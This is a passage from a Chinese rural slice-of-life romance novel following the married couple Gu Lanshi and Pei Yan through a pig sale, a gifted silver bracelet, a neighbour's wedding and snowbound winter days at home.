他面上这么答应,其实不会问阿奶要布匹,这一年虽然劳累,手里还是攒下一点钱的,买两匹布不成问题,要急用的话,让裴厌去镇上买就行了,实在不行,还有他娘呢,不至于把小老太太那点家底给掏出来。 * 在祖宅玩耍说笑,时辰过得很快,眼瞅着该做饭了,顾兰时就先回去,路上时不时朝身后看一眼,看裴厌回来没,今天去卖猪,不用吆喝叫卖,卖了就能往回赶。 不过等他饭做好以后,正要出去张望,大黑几个就往门口跑,裴厌回来了。 “怎么样?”顾兰时迎上去,眼里有着期待,又说:“饭已经做好了,正热呢,洗了手就吃。” 裴厌微微抿唇笑了下,似乎有点不好意思,开口道:“按一百八十五斤卖的,秤虽高一点,也没什么,一共是二两二钱并二十文,我算了下,这个数没错。” 二两银子,零头还有二钱,顾兰时很高兴,但没有立即向裴厌要钱,每次从镇上回来,裴厌总会如数交到他手里,都不用问,只是早晚的事。 驴车进来后,他帮着一起解车套,顺手摸了摸毛驴前额,成天给他们拉菜,如今又拉猪,确实功高劳苦。 饭在锅里,还是热的,裴厌洗手的时候,顾兰时就把饭菜都端上了桌。 昨天下午蒸了蒸碗,趁烧锅,还蒸了两屉糙馒头一屉菜包子和十个小肉包子。 蒸碗里的肉片子肥瘦相间,一大碗看着就叫人流口水。 笼屉里还有一碗肥肉多的肥膘子片,油脂厚肉烂,那叫一个香,对平时少见油星的人来说无疑是最上等的菜肴,只是昨天炖了大骨头,油水多的过几天再拿出来解馋。 “多夹两片。”顾兰时笑眯眯说道,肉片子切的大,两片平放就能把一个大糙馒头铺满。 如今日子好了,想吃肉不用一点一点抠搜着来。 他自己夹了两层肉片子,觉得够了时,裴厌又给他馒头里放了一片。 蒸热以后,肉油也化开了,不再是凝结的白色猪油,夹这么多,不免从馒头里流出油水。 顾兰时一口咬下去,肉很厚实,蒸的烂,肥肉部分一点都不腻,油香油香的,咸淡也正好,见手上有油淌下来,他顺势用唇舌舔了下,擦掉太可惜了。 来回跑了一趟,裴厌饿了,同样夹肉夹得多,大口咬下去很满足。 也就是他俩了,能舍得,搁在人丁多肉不够分的人家,哪能这么吃,若不分的平均,别说孩子要打架,大人心里也不舒坦呢。 美美吃完这一顿,两人嘴巴上都沾着油光。 顾兰时起身收拾碗筷,说:“我今天去祖宅那边转了一圈,看见织布机子,想起之前不是说了,要是得闲找徐木头问问。” 头先他还觉得做一架织布机子多余,但今天上午和阿奶聊几句,确实有些排不开,还是自家有一架方便,贵是贵,往后要用许多年呢。 裴厌也想起来这个,当初还是他先提的,于是点着头道:“下午没别的事,我去一趟。” 顾兰时端起摞好的碗,抓起筷子往灶房走,家里只有两个人,平时用到的碗筷不算多。 裴厌手伸进怀里摸了摸,薄唇又抿了抿,眉眼低着,也不知道在想什么。 锅里的水还热着,正好洗碗刷锅。 顾兰时系着襜衣挽起袖子洗碗,就见裴厌进来了,他看过去,问道:“怎么了?没吃饱?” 裴厌像是有点无措,抬手挠了挠后脑,末了盯着他伸进锅里的手腕子看,嘴上却说了反话:“没什么。” 顾兰时有点疑惑,但没多问,把洗好的碗筷先放在灶台上,等下还要舀水再涮一遍。 他娘一直都爱干净,家里又有水井,不怕没水用,他和姐姐弟弟在灶上帮忙时,都无意识学了苗秋莲的习惯。 “对了,上回说吴家是哪天来着?二十?”顾兰时问道。 裴厌点点头:“嗯,二十,没几天了。” “酒水咱家没了,白水村那边的酒虽然好,却也比不上镇上的好酒,到日子直接去镇上买?” 顾兰时说着,把锅里的水刮出来,又倒一瓢干净的水进去,涮了碗之后再把刚才的刷锅水一起倒进去,等下要煮猪食。 “嗯。”裴厌有点心不在焉。 他俩说的正是吴家老二的亲事,寒月二十那一天,吴厨子给他家老二成亲,不止裴厌,苗家大舅舅大舅母也会去,毕竟是牵线的媒人,该吃这顿喜酒。 除了酒水以外,裴厌和顾兰时商量过,又问过顾铁山的意思,到时候再给上一份礼钱,来福酒楼的生意以后要长远下去,光有苗家舅舅的面子不行,维持吴厨子这条线是必不可免的,如此就有了来往。 因吴升文有点着急,前头那些问吉纳彩都办的快,苗树儿家因他年纪大了,再不出嫁村里闲话愈多。 两家大人嘴上都没说,毕竟不是什么有面子的事,但彼此心里都知道,可以说是心照不宣,互有配合,也算是件皆大欢喜的事。 裴厌心中有些忐忑,从来没买过好东西给顾兰时,又是头一回背着顾兰时花钱,一时之间失了胆子,还怕顾兰时骂他乱花钱,越发不安。 “拿几根萝卜,今天给吃点新鲜菜。”顾兰时说着,自己先去灶房角落拿野薯和藤根。 冬天没啥吃的,猪食里煮的大半都是麦麸谷糠,再添些薯根、菜叶子还有剩菜剩汤什么的,喂饱了别让掉肥就行,隔两天加点菘菜叶子或是萝卜,也算不错了。 今天卖了一头,草料就能省下一头的,不怕到隆冬以后不够吃。 裴厌照着他的话做。 顾兰时蹲下洗野薯皮上的土块,让他把萝卜也放进木盆里,抬头又说:“早上煮过的大蓝根在那个盆里,倒进锅里再煮一锅水。” 他说什么裴厌做什么,一点不见偷懒,看起来和平时无异。 虽然如此,顾兰时洗好野薯萝卜后,抬头疑惑看过去,总觉得裴厌今天和平时不一样,他没忍住,直问道:“你怎么了?” 把煮过一遍的大蓝根倒进另一口大锅,木盆还没放回原处,被问到的裴厌身形一顿,看一眼顾兰时没有立即开口,末了像是下定决心一般,从怀里掏出个红布包着的东西。 这块红布不是他家的,顾兰时一眼就看出来,早上他可没给裴厌带这样一块布,只是询问的话还没出口,裴厌就把掌心里的红布打开了,里头是一个银镯子,不算粗,但明显和小孩戴的不同,一看就是大人的。 “给你买的。” 东西一亮出来,裴厌也找到了声音,他知道自己理亏,根本不敢看顾兰时眼睛,只伸出手往前递。 顾兰时一下子没反应过来,有点惊讶,正想说自己成天干活,用不上这些首饰。 在看到裴厌低着脑袋不敢抬起的时候,到嘴边的话就卡住了。 一时无言,灶房里很安静,院子也很安静,狗都在外面大菜地乱跑。 就在裴厌度日如年,以为过去很久的时候,手心里一轻,镯子被拿走了。 顾兰时手上还沾着水迹,但莫名的,他看出裴厌很不安,直接就把镯子套在左手腕上,举高手腕笑着说:“好看呢,以前大姐姐没出嫁的时候就有一个,细细的,这两年没怎么戴了,说留着,等馨儿长大,再添点钱,给换个新的。” 裴厌总算抬起脑袋,目光落在他白生生的腕子上,银镯是新的,还挺亮,戴着很好看,听完顾兰时的话,下意识问道:“那你没有?” 顾兰时另一手拨弄镯子,笑眯眯转着看,说:“没有,二姐姐跟我都没有,那会儿大姐姐上头是两个哥哥,从生出来爹娘就可稀罕了,总算见着个闺女,到二姐姐和我的时候,就没那么稀罕了。” 想起以前的事,他放下胳膊,笑着说:“二姐姐性子那么直,小时候都不懂事,觉得偏心眼,只疼大姐姐,一想起来她就跟爹娘吵两句,她一闹我也跟着哭,可那几年给大哥哥二哥哥娶媳妇,家里没多余的钱,爹只能给我俩摘果子买糕点吃,后来大姐姐也不戴了,怕我俩看见哭闹,出嫁后才拿出来。” 小时候那些愤懑不满,这会儿想起来已经不觉得有什么,跟两个姐姐关系照样好。 原来是这样,裴厌见他没有问价钱也没有责怪,心里一松,卷起袖口拿了菜刀切野薯。 戴上新镯子,顾兰时看了又看,心里说不高兴才怪,村里同龄的双儿和姑娘就有戴银镯簪银钗的,以前他也很羡慕,但不会问爹娘要,成亲后忙着讨生活,这样的羡慕烟消云散,吃到肚里才是最好的,因此没有买首饰的念头。 “怎么想起买这个?”他笑着问道。 裴厌手一顿,说:“也没什么,就是常常去镇上。” 顾兰时明白他的话,镇子上各种店铺多,即便不是什么富家夫人夫郎,街边也能看到不少穿戴体面的,小富之家温饱之外有富余,一些首饰还是买得起的。 裴厌是个汉子,总不能直说他盯着别人看,顾兰时也不怀疑,又不是瞎子,在大街上一眼扫过去就能看见。 长这么大还是头一回有银镯子戴,顾兰时越看越喜欢,脸上笑意就没停过,也不想离开,站在裴厌身边问:“多钱?” 裴厌顿一下,如实说道:“一两。” 今天出去给他只带了三十文,买镯子的钱只能是卖猪钱了,顾兰时还是笑眯眯的,开口:“这样就剩一两二钱了。” “嗯。”裴厌答应着,转头看他一眼,见他没有生气,忐忑的一颗心才落回去,踏踏实实在胸膛里跳动。 顾兰时凑近了仔细看镯子,颇有些爱不释手的模样,摸到上面的纹路后,他转着看了一圈,说:“还有花纹?” 裴厌把手里的野薯切完,抬头看向他,像是有点不好意思,说:“兰花纹,正好有一个,就买了。” 顾兰时一愣,仔细看了看,辨认出是兰花纹后,他心中涌起一阵说不出的感觉,有高兴也有点羞窘,直到那份喜悦盖过羞涩后,他没忍住,往裴厌身上靠了靠。 萝卜切了一半,裴厌转过头,就看见顾兰时双眼发亮,眼尾弯弯,笑吟吟靠在他身上。 * 翌日,顾兰时起得晚,但炕还是热的,他看一眼窗子,窗户只开了一条小缝隙,不过从透进来的光能辨出,天已经大亮了。 院里有劈柴的声音,至于狗叫,他早已习惯,打着哈欠坐起穿衣裳,看见腕上的镯子后,脸上不由露出个笑容。 新镯子银亮漂亮,他想一想,把镯子摘了,转头寻找昨天包镯子的红布,见裴厌放在他针线篮子里,拿起重新包好,打开炕尾的箱子仔细塞进去。 裴厌拿起一根木柴放好,听见脚步声,没有抡斧头,转头看过去,问:“起来了?” “嗯。”顾兰时伸个懒腰,昨晚折腾大半宿,后半夜才睡下,他抬头看看太阳的位置,已经巳时初了。 “锅里有热包子,还有一碗醪糟两个鸡蛋。”裴厌说着,手起斧落,柴火成了两半。 他放下斧头,把柴火捡了七八根,抱起来说:“切了萝卜条还没炒,你先洗脸,我去炒菜。” “行。”顾兰时懒洋洋的。 陶罐煨在泥炉上,有现成的热水,他先取了青盐洁齿,淑过口后,从窗户瞅一眼在里面炒菜的裴厌,没说什么,又舀水洗脸。 最近闲了,房事频繁些,但昨晚那样还是大半年头一回,不免有点腰酸腿疼,舌头麻嘴也疼,睡一觉才好点。 刚才有心想说裴厌不知克制,但一想,也是因为昨天高兴,连他也有几分兴致,更别说一遇到这种事就格外有耐心和精力的裴厌。 炒好菜后,裴厌跑前跑后端菜端饭,自己不吃也坐在旁边伺候着,突然,看见顾兰时什么都没有的左手腕,他心里一跳,赶忙问道:“镯子呢?” 顾兰时刚咬了一口肉包子,快速咽下去后才说:“箱子里呢。” 这话让裴厌放下心,刚才还以为他弄丢了,正要进屋里找找,于是问道:“怎么放箱子了?” “过年时再戴。”顾兰时笑着说,又道:“平时要干粗活,弄脏了不好。” 裴厌开口:“脏了我去铺子里让洗洗。” 顾兰时喝一口醪糟,说:“咱俩今年卖鸡蛋卖得多,我去串门子,总有几个人说什么咱俩挣大钱了,我心想着,还是不要张扬,到过年时,大伙儿做新鞋穿新衣,那会儿再拿出来戴,不至于太扎眼。” “跟他们有什么相干?”裴厌还是皱着眉头,好不容易买一个首饰,成亲时都没有。 顾兰时看着他笑,说:“是没什么相干,我也不放在心上,只是不爱人家盯着咱们看,到过年戴上以后,就不摘了,也给我过年留个新东西当做添置。” 这么一说,裴厌倒是勉强接受,确实,新年有一样新东西更喜庆些。 见他不再辩驳,顾兰时才端起碗安心吃饭。 也不是他害怕别人那些言语,裴厌给他买镯子他很高兴,只是不爱去显摆炫耀。 而最重要的,其实还是怕弄脏了,舍不得戴,想好好爱惜。 只是裴厌看着倔强,他只能另找借口。 第167章 一有太阳,村里各个土墙背风处,就有男女老少各自聚拢在一起晒暖,妇人夫郎手里的活不停,捻线纳鞋底,打络子缝补衣裳。 不便出门的年轻双儿和姑娘在自家院里晒暖,喊上一两个交好的,或在屋里一边干活一边说说笑笑。 汉子有趁着天好上山拾柴砍柴的,也有年轻人三五成群带着狗上山撵兔子掏獾子,即便冬闲,大多数人还是闲不下。 后山。 顾兰时扫了西屋出来,今天太阳好,房门开着无妨,他用木叉把土炕上的稻草挑下来,丢到院里晒,稻草被鸡粪弄脏了,全都弄出来后再给铺一层干净的。 窗子和房门都开着,太阳从窗外照进来,屋里的味道淡了。 白天没有烧炕,外头太阳大,老母鸡从屋里溜达出来,他没有管,自顾自干活。 今天二十了,吴二儿和苗树儿成亲的日子,得去镇上,离开席吃喜酒的吉时还早,裴厌已经赶了驴车出门,想趁今天去镇上卖一些干菜和咸鸭蛋,最近咸鸭蛋涨价了,一枚要八文呢。 至于鸡蛋,已经涨到了七文钱,只有十五只母鸡下蛋,还不是每天都下,新鲜蛋攒下来的少,得先紧着酒馆和酒楼送,就没有带出去叫卖。 听到母鸡急促叫了几声,紧接着就是拍翅膀的动静,顾兰时正好挑了一叉稻草出来,他往地上一丢,骂道:“去!” 灰灰把两只母鸡撵的惊慌失措乱窜,一只飞上了柴堆,它站在下面正要叫,就被顾兰时骂了,两只耳朵往后折,眼睛也眯起来,往角落里躲,再不敢撵鸡。 一看它这模样,顾兰时就知道是故意的,它知道不能咬家里的鸡鸭,只是玩心重罢了。 但这十五只母鸡专是为了下蛋养的,还特意给烧炕,母鸡要是给惊着了不下蛋,岂不是得不偿失。 顾兰时看一眼灰灰,有点来气,把木叉靠在墙上,走过去照着灰灰肥壮的身子打了两下,狗喂得太好,皮毛厚,身上肉一拍,听起来都是闷的。 “嗷!” 灰灰夹着尾巴惊叫,一副挨了揍很害怕的模样,还想跑,顾兰时揪住它后脖颈拽住,直接照嘴巴子扇了两下。 “让你叫!还能打疼你?吃的这么肥,一天天不学好,尽干些追鸭撵鸡的事。”顾兰时原本没有太生气,但见灰灰装出一副疼极的模样,又是气又是好笑,不免真给了它两下,随后才放开。 狗很会看人眼色,见真挨打了,灰灰不再乱叫,咧开嘴一副谄媚的模样,尾巴依旧夹着。 顾兰时起身,不再教训狗了,往屋里走之前,抬头看了眼院门口的大黑和灰仔。 两只狗原本伸着脑袋看灰灰挨打,一见他看过来,不约而同扭开脸,没跟他对视。 大黑装作忙碌的样子一边闻地面一边往大菜地里走,灰仔张大嘴巴打个哈欠,又撅起屁股伸懒腰,也不知道是真困了还是怎么,两只都没敢进院子。 见它俩还算乖,没有追在母鸡屁股撵,也可能是杀鸡儆猴了,顾兰时放了心,拿起木叉把西屋炕上和地上散落的脏稻草都弄出来,随后提上大竹筐往谷场那边走。 稻杆和麦秸堆了两大堆,他捡着中间干净的,一大把一大把往外抽,把大竹筐塞满后,又进西屋去铺好。 见母鸡在院里乱拉,不过都是在地上,他没有管,回头铲干净就行,出来走走也好,一直憋在屋里总觉得不是什么好事。 一个人正忙着,外头狗叫了两声又停下,这动静,应该是熟人来了。 顾兰时拎起空竹筐往外走,篱笆门半掩着,方红花从外面推门进来,他笑着喊道:“阿奶!” 夜里冷,土炕想铺的厚实点,还得再揽些麦秸,方红花走进来还得一下,他先去抽柴。 小老太太见母鸡放出来了,站在院里看一眼,又伸手抓住离她最近的一只,两手抱着仔细看一圈,见母鸡活蹦乱跳的,没有丝毫生病的迹象,这才满意地点点头,把母鸡放在地上。 顾兰时在麦秸堆那边看见,笑了一下,他阿奶上了年纪,手却不慢,一下子就把母鸡逮着了,有的人抓鸡还得追在鸡后面跑,不是人人都有他阿奶这一手。 “兰时,我听你方家舅姥爷说,养鸡要捣些蒜给鸡吃,不生病。”她边说边瞅其他的母鸡。 “大蒜?”顾兰时抽够麦秸又往这边走。 “就是大蒜,捣碎了混进鸡食里,对鸡好呢。”方红花点着头说道。 顾兰时在堂屋门口停下,目光落在灶房那边,灶房墙壁上挂了一辫子大蒜,炒菜时好取用。 他和裴厌去年种的是秋蒜,种的多,今年初夏时收了不少,都编成蒜辫子存放,之前拉去镇上卖了一些,家里还有十几辫子,都挺长,吃到明年收蒜的时候都不会断缺。 要说捣了给母鸡吃,也是足够的,毕竟只有两个人。 “那不用加别的?”他问道,抬脚往西屋走。 方红花在后头跟上,说:“不加,就和别的鸡食一样,要是觉着蒜味重母鸡可能不吃,就少捣些,别叫它们吃出来太辣的味儿。” 顾兰时笑着说:“行,等会儿我烫鸡食就捣一些。” 方红花帮他一起给炕上铺稻草。 他又问道:“我舅姥爷来了?” “没。”方红花两手撑着炕沿,爬上去把里面的厚麦秸铺平铺匀,说:“我昨儿大太阳,正好你大伯说要去趟对河,赶车呢,我就让他把我拉到你舅姥爷家,坐了小半天。” 方家村离得不算太远,比起远路,她回娘家方便许多。 原是这样,顾兰时说道:“裴厌去镇上了,吴厨子他家老二成亲,我大舅舅大舅母今天也要去,去吃媒人酒。” “是今儿啊,二十,好日子。”方红花从炕上下来,她知道前头那些事。 顾兰时见她把炕里的麦秸都铺好了,麻利得很,没忍住笑了下。 西屋拾掇干净了,他没有撵母鸡进来,让窗户和房门开着透透气也好。 外头太阳正大,背风处坐一会儿,晒得全身都暖和。 还不到饭时,刚才扒了几片菘菜老叶子,顾兰时把菜叶子剁一剁,扔在院里让母鸡去啄,随后搬了板凳和桌子,端来糕点碟子和果脯碟子,又倒两碗热茶,和方红花一起坐在墙角晒太阳。 东家长西家短,村里一些人和事,几乎没有老太太不知道的,比起别人,顾兰时去村里串门子还是少,乡下人没什么乐子,想听大戏,还得看哪家大财主办喜事。 顾兰时光是听着,一边喝茶一边吃果脯点心,都听得津津有味。 裴厌不在,他做一个人的饭是做,两个人的饭也是做,就没让方红花走,上回的肉还有,他切了和菘菜一起炖煮,吃饭时还用热馒头夹了蒸碗里剩的凝固白猪油,撒点盐香喷喷的。 方红花闲着没事,冬天天短,晌午睡了夜里容易睡不着,她没有回去,帮顾兰时捣蒜喂鸡。 大蒜人吃多了都烧胃,鸡胃小,肯定要少放些,掺进去就好,一老一少在院里鼓捣,倒了食之后,母鸡一个比一个吃得欢,没有任何对蒜味的不适。 * 一到傍晚,太阳沉下去,冷风刮起来,吹得人直缩脖子。 顾兰时在门外张望,天色很快暗下来,树林那边看起来很模糊。 大黑绕着他转了几圈,知道裴厌没回来,同样看向林子那边的小路。 天马上就黑了,头一次回来这么晚,顾兰时不免有点担心,在下一瞬,大黑几个吠叫起来,灰仔直接跑进了林子。 顾兰时心中一喜,没多久他就听到毛驴蹄子啪嗒啪嗒的动静,车轱辘的声音也响起。 “裴厌!”他高声喊道。 林子里的人答应一声,很快从树林里走出来。 篱笆门开得大大的,顾兰时满面笑意,问道:“舅舅他们也回去了?” “嗯,吃完见天晚了,我俩走得都早,在官道岔路口分开,想必已经到家了。”裴厌牵着毛驴进来,一进门,心里是说不出来的踏实感。 顾兰时关好篱笆门,上了两道门闩,几步赶上去问道:“吃了酒?” “吃了几碗。”裴厌老实开口。 几碗。 顾兰时看他一眼,平时在家用小盅喝酒,出去倒是解馋了。 他知道裴厌酒量好,没说什么,他爹酒量不如裴厌,偶尔还痛快喝一顿呢,更何况今天是人家成亲,大喜事,酒水自然是管够的。 等进屋点上油灯后,有了光亮,他才看见裴厌眼神有点微醺,和平常不大一样。 喝酒喝多了就是这样,裴厌一直都这样,喝得再多都不上脸,只有眼神会有些微变化,不如平常那样明亮敏锐。 “锅里坐着水,我去打水,好歹洗洗。”顾兰时边说边往屋外走。 裴厌依旧清醒,要不然也不能一路赶车回来,他取了青盐直接在院里洁齿,天上有云,月亮星星不怎么亮,勉强能看清院子。 顾兰时已经盥洗过,连脚也烫了,只差上炕睡觉。 裴厌在院里洗干净手脸,又舀了热水进屋,泡了一会儿脚,听见外头北风刮起来,声音渐渐大了,他擦干净脚,靸了鞋下炕端洗脚盆子,说:“起风了,夜里不知道下不下雪。” 顾兰时已经钻进热乎乎的被窝,今天炕是他烧的,要是不早点烧好,天一黑,揽柴火都得靠手摸。 他打个哈欠,对快出房门的裴厌说:“下午天就有点变,可能会下吧。” 倒了水进来,门窗都关好,裴厌吹灯上炕,吃了不少酒,他身上热乎,摸到顾兰时手之后,心里也热乎起来,仿佛有什么东西蠢蠢欲动。 冬夜还长,漫漫无边。 第168章 大雪还在下,天地白茫茫一片。 已是下午,没有太阳,天上乌云厚重,光线不甚明亮。 屋里,顾兰时披着被子,坐在炕上和裴厌对面吃饭。 炕一直烧着,热乎乎的,外头那样的天气,叫人不愿远离了热炕。 昨天夜里没怎么睡,今天白天裴厌还好,顾兰时睡了大半天,晌午时被叫起喝了半碗米粥,这会子才算正儿八经动筷吃饭。 “昨天先见了蒋厨子,说酒馆里鸡蛋还有,不忙着送,后边去了吴升文家里,他也说先不用,正好下大雪,出门不方便,后头这十天半月,就不去镇上了。” 裴厌说着,拿起半块咸鸭蛋用筷子掏出来,夹进顾兰时碗里。 鸭蛋黄流着红油,米粥是晌午熬的,熬的多,吃到了这顿,配着咸鸭蛋正好。 昨晚那么急,根本顾不上说这些闲话,这会子他才想起来。 顾兰时喝一口粥,咽下去后点点头:“嗯。” 他晌午就喝了半碗粥,眼下饿极了,顾不上说别的。 裴厌笑一下,没有再打搅他吃饭。 雪片子更大了,上午时还没有如此态势,风势也紧,无疑是场凛冽的鹅毛雪。 灶房里,大锅冒着热气,裴厌站在台边洗碗刷锅,这些话他干得很熟练。 扫出来的一条路又被雪花覆盖,灰灰和灰仔在院里跑来跑去,它俩皮厚肉肥,根本不怕冷,原本没有人踩过的雪面都是他俩的爪印,不少地方的雪像是被犁了一遍。 不过等这场鹅毛大雪下个一晚,雪层一厚,连狗也不好在其中跑跳了。 大黑早见惯了大雪,或许因为小时候它是野狗,没有遮蔽风雪的狗窝,这两年每次一下雪,它总喜欢窝在铺了麻袋和稻草的温暖狗窝里,除了吃饭喝水,基本不出来,不睡觉的时候就伸出脑袋看外面雪花飘,比起灰灰和灰仔更稳重。 拾掇好灶房,裴厌又趁着天没黑煮猪食,烧的热水多,顺便给鸡鸭烫食。 狗已经吃过了,用菘菜汤泡的糙馒头,不然灰灰和灰仔早就嗷嗷叫,不会这么安心在院里玩耍。 屋子里,顾兰时吃完没有动弹,裹着被子靠在炕头发呆。 从睡醒他一直这样,双眼有点失神,昨晚几乎可以称得上许久不曾有过的大动静,他没有受伤,只是到后面神智有些恍惚,这会儿才渐渐缓过来一点。 听到外面狗叫,他回过神,眼睛流露出几分光彩,不再呆愣愣的。 打个哈欠,他懒得下炕出去,屋里多暖和的,家里牲口禽畜有裴厌在呢,不用他操心,于是把炕桌挪了,躺下把被子盖得严实,睡不着盯着房梁看。 喂了牲口,裴厌见雪越来越大,把落了一身雪的灰灰和灰仔撵进狗窝里直接拴住,绳子放的短,只能在狗窝附近活动。 这是怕它俩太兴奋,夜里也不睡,在雪地里乱跑,初生牛犊不怕虎,这俩从小被惯的,玩起来有点不着调。 他一摸灰仔身上的毛发,已经湿了,抬手就打了下狗头,以示训斥,太贪玩了。 “呜——” 灰仔脑袋上挨了一下,不疼,但还是发出委屈的声音,撒娇一样用头蹭了蹭裴厌手。 大黑不用栓,比人还精,下雪下雨都知道躲,裴厌起身又去鸡圈那边看了看,用竹竿把鸡窝和鸭舍顶上的积雪推下来,再检查检查棚顶,见没有隐患,这才回去。 知道顾兰时爱干净,他洗了手才推门进屋,坐在炕边问道:“锅里热了水,是这会子盥洗还是过会儿?” 顾兰时翻个身侧躺,看着他说:“眼下不急,刚吃完。” 裴厌笑道:“好,那等会儿我再去添柴。” “什么时辰了?”顾兰时问道。 裴厌见他一副疲懒的模样,心知是昨晚行事所致,懊恼之余却还有昨夜旖旎留存于心间,他看了看窗子,琢磨一下道:“申时过半。” “快天黑了。”顾兰时今天睡得昏沉,没想到已经傍晚了,早上的时候他睁眼过,因天色不好,透进窗户的光一直暗沉沉的,失了辨别的准头,以为还早着。 见他没有睡觉的意思,裴厌问道:“要点灯吗?” “不了,又不做什么。”顾兰时又打了个哈欠,他抬手擦干净眼角水迹,看向裴厌说:“睡了一天,这会子光是乏,睡却睡不着。” “那咱俩说说话,等过两三刻钟,我端水来洗漱。”裴厌说道,眼里都是笑意。 “也好。”顾兰时答应一声,顿了一下问道:“咱俩说什么?” 裴厌被他逗笑,开口:“说什么都行。” “成天在一处,哪有那么多话说。”顾兰时懒懒说道,突然,他想起什么,坐下来说:“要不咱俩翻花绳,在屋里也没别的事可做。” 翻花绳。 裴厌愣了下,这是村里小孩常玩的,多在女孩和双儿之间,男孩子也有,但很少,他确实没玩过,别人玩的时候也没去看。 顾兰时总算有了点兴致,坐起来披上外衣,拉过针线篮子,剪了长长一截麻线,两头缠在一起打结,绷在手掌上,用手指头来回一勾,抬眼看向裴厌,动了动手,示意他来翻。 裴厌脱鞋上炕,盘腿坐在他对面,看着眼前的花绳,一时不知道如何下手,眼神透露出一丝茫然。 顾兰时原本想催他,嘴里一句带抱怨的“没玩过吗”差点脱口而出,在裴厌抬头,看见一副忐忑的模样后,他连忙刹住,换了语气开口:“来,你先用手撑着,我来翻。” 裴厌学着他将两手伸出,掌心相对。 往常干活麻利的修长手指这会儿瞧着很是笨拙僵硬,好在他知道配合顾兰时,把已经绷好的花绳套在了手上。 “就这样,勾着往下往上翻都行。”顾兰时一边说一边上手,到他手里后,又往前一伸,教道:“看见那两根绳没?一个小指勾一个,往下翻,就到你手里了。” 裴厌从来都不笨,看他玩一下就知道该怎么做。 翻花绳说难也不难,玩起来却挺吸引人,两人都盯着绳子,你来我往,连时辰都忘了。 屋里越来越暗,顾兰时偶然间一抬头,看见窗外黑下来,笑道:“怪不得脖子酸,头越来越低,天都黑了。” 裴厌把他手里的花绳翻进自己手里,转头看一眼窗子,说:“我去灶房看看,估计水不热了,得再烧烧。” “行。”顾兰时把他手上的绳子摘下来,放在枕边,又道:“把灯点上。” “好。”裴裴厌从泥炉膛里抽出一根快烧完的细柴,过来把油灯点燃,屋里有了一点亮,果然好多了,他又问道:“还喝水吗?” 顾兰时摇摇头:“我不渴。” 见他玩了一阵比刚才精神头要好,也没有想睡觉的意思,泥炉旁边堆着柴火,裴厌给炉膛添了两根柴火,让火继续烧着,这样陶罐里的水始终是热的。 从脸到脚该洗的都洗干净,天已经彻底黑了,冬天就是这样。 一点昏黄火光晃动,顾兰时还惦记着翻花绳,今天水不是特别烫,草草搓洗一遍就抬脚擦干了。 等裴厌倒了水进屋,他用针挑了挑灯芯,见火苗窜长,比刚才亮一点,拉着人坐在炕上又开始玩。 翻花绳一玩就是许久,直到两人都尽兴。 * 雪下了四天,第四天下午的时候才停,头顶依旧覆盖着乌云,太阳没有出来的迹象。 这几天都是裴厌在忙,连做饭也是他,所幸家里的活并不多,白天只要喂喂牲禽,打扫打扫西屋。 厚厚一层雪积在院里,他铲出一条路,方便行走。 顾兰时没怎么出屋子,洗漱都在里面,这怪不到他头上,裴厌近来有了些许章程规律,昨晚睡了一晚,精神头十足,今晚必定会折腾一宿。 年轻火气旺,况且裴厌原本就比一般人更精壮,二十出头的年纪,憋了大半年,总算在冬闲时得以宽解。 要说小别才胜新婚,但相比而言,裴厌今冬反而更黏糊。 去年是成亲第一年,对他来说,还不敢真过分,今年两人越发熟悉亲密,胆子便渐渐大了,兴致最高时,一上了头,红着眼都敢随便摆弄顾兰时。 因为这样的“肆无忌惮”,每每天亮时,他都要烧盆热水进来给顾兰时擦拭,不然全是汗水和别的黏糊,根本睡不爽利。 东屋。 听到外面在刮风,顾兰时就知道天一时半会儿晴不了,低声叹了口气。 太阳出不来,积雪难以融化,人人都躲在家里猫冬,很少会有串门的,他俩又住在后山,离村子远,想出去还得一路踩着积雪。 要想出门不被困在屋里,只能太阳晒化雪,等地面干了,就能随便乱跑。 只要还困在家里,就一点法子都没有。 没有事做,可不就在炕上窝着,这么冷的天,离开暖被窝冻得什么似的。 脚步声靠近,靠在炕头的顾兰时下意识把身上被子裹紧,他其实挺喜欢和裴厌待在一起,说说话踢踢毽子,翻花绳打陀螺,有时在屋里做些甜丝丝的事,不过裴厌太壮了,让他确实有一点烦恼。 第169章 雪停了,但天没有放晴,有时傍晚北风呼呼呼地刮,在屋里听像是山里狼群嚎叫。 原本就冷,这声音让人愈发从心里对严冬胆寒,鲜少有人愿意出门,都窝在家里,不是烧炕就是烧炭盆取暖。 地面积雪未融,走路虽然同样不方便,但比雪化之后,满地的泥泞湿烂好一点。 厚厚的雪覆盖住菜地,像一块大棉被,不过没有维持多久,狗每天不是到处巡视就是跑来跑去玩耍。 晌午,天色依旧灰暗。 灶房里,顾兰时在切咸菜疙瘩,案台另一边有两个碗,碗里各自有一个已经煮好的荷包蛋。 锅盖边冒出白汽,裴厌坐在灶台前添柴烧火,见锅开了,他起身用大勺推开木锅盖,一阵白汽倏然笼罩在眼前,他挥挥手,等白汽散一些后,顺手就用大勺搅了搅锅。 锅里是面条,好几天没吃面了,因裴厌饭量大,擀的面自然多。 他用筷子夹断一根面条,见没有白心,拿起放了荷包蛋的一个碗就捞面。 “我的够了。”顾兰时切完咸菜,在襜衣上擦擦手,接过碗走到灶台另一口大锅前,拿起大勺给自己碗里舀臊子。 臊子有菘菜丁子豆腐丁子肉丁子,另外几样是泡发后切了的豇豆丁子葫芦条丁子,以及黄豆和黑木耳。 用猪油炒了又煮好,连汤带水,热乎乎浇在面上,闻着就喷香。 裴厌用的碗是大碗,很容易区分开,他没有一次就把碗捞满,面和臊子留在锅里一直热乎,吃完还能再捞,省得一口气吃得顶住胃。 灶底的火没有熄,一碗连菜带面都齐全了,顾兰时把咸菜碗放在地上,两人坐在灶膛前的凳子上吃饭,连桌子都不用。 火光映在脸上,带来些许炙烤的温暖。 呼噜呼噜吃完一碗面条,顾兰时没吃饱,又给自己舀了一碗,两手捧着碗先暖暖手,看一眼外面天色,说:“也不知道啥时候晴。” 裴厌把碗里的汤喝完,没有立即起身去捞面,坐在原地歇一口气,开口道:“估计还得几天,都说不准,指不定明儿就放晴了。” “下这么大的雪,估计镇上人出门吃饭的也少。”顾兰时说着,见灶底火势小了,单手端着碗筷,另一手摸了两根柴火添进去。 裴厌站起来,拿起放在灶台上的长筷捞面,说道:“生意应该比平时差一点。” 他给自己舀了臊子,又回来坐下,开口:“要说雪地比起烂泥地还好走一些,不过上回听蒋厨子说鸡蛋还有百十来个,怎么都够一段时日的,更何况从那天见了他后,第二日就下雪了,吃用肯定不多。” “那就先不用去镇上。”顾兰时说完,一手拿筷一手端碗,夹一块咸菜就着面开吃。 